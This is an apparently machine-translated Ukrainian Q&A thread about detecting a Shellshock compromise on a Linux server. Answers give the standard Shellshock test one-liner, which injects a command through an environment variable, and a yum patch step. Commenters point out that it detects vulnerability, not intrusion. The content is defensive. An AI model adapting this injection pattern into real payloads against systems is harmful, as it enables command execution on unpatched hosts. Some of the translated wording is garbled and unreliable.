Очевидно, ці інструменти повинні були бути встановлені та налаштовані до того, як система порушена, і ці інструменти також можуть бути націленими, якщо ваша система успішно зламана для кореневого доступу. Крім того, ці інструменти можуть дуже інтенсивно та уповільнити вашу систему.


2

Єдиний спосіб дізнатися, чи порушено ваш сервер - це десь підписати свої файли та порівняти ваші поточні файли з ним. Тим не менш, ти можеш побачити, чи ти вразливий.

  1. ти не можеш. Доцільно припустити, що ваша машина справді порушена, ваші звичайні засоби моніторингу (ps, top, lsof, ...) були замінені аналогічними інструментами, вихід яких виглядає нормально, приховуючи підозрілу активність
  2. ні. може знаходитися у будь-якій папці із виконуваними файлами.
  3. будь-які виконувані файли або сценарії (бінарний ELF, скрипт .shell, ...), включаючи звичайні засоби моніторингу

-3

Як дізнатися, чи порушено ваше поле Linux.

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Якщо якщо повертається

vulnerable
this is a test

ти є.

Щоб запустити оновлення, під коренем запустіть таку команду

sudo yum update bash

16
-1 Ця перевірка, якщо баш вразливий, а не якщо він насправді порушений.
Калімо

1
Він також передбачає, що ви працюєте, yumа не інший менеджер пакунків.
DavidG

-3

Ви можете перевірити, чи не вразливі ви, виконавши наступні команди (код, наданий CSA). Відкрийте вікно терміналу та введіть таку команду у рядок $:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Якщо ваш баш НЕ актуальний, він надрукує:

vulnerable
this is a test

Якщо ваш баш оновлений, ви побачите лише:

this is a test

Більш детальна інформація доступна за цим посиланням .


1
Питання полягало у визначенні того, що сервер порушений , а не про те, щоб він був вразливим
Гарет

будь ласка, прочитайте інші відповіді, перш ніж публікувати одну, дуже схожу на відповідь, оцінка якої низька, оскільки вона НЕ відповідає на запитання.
Ману Н
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.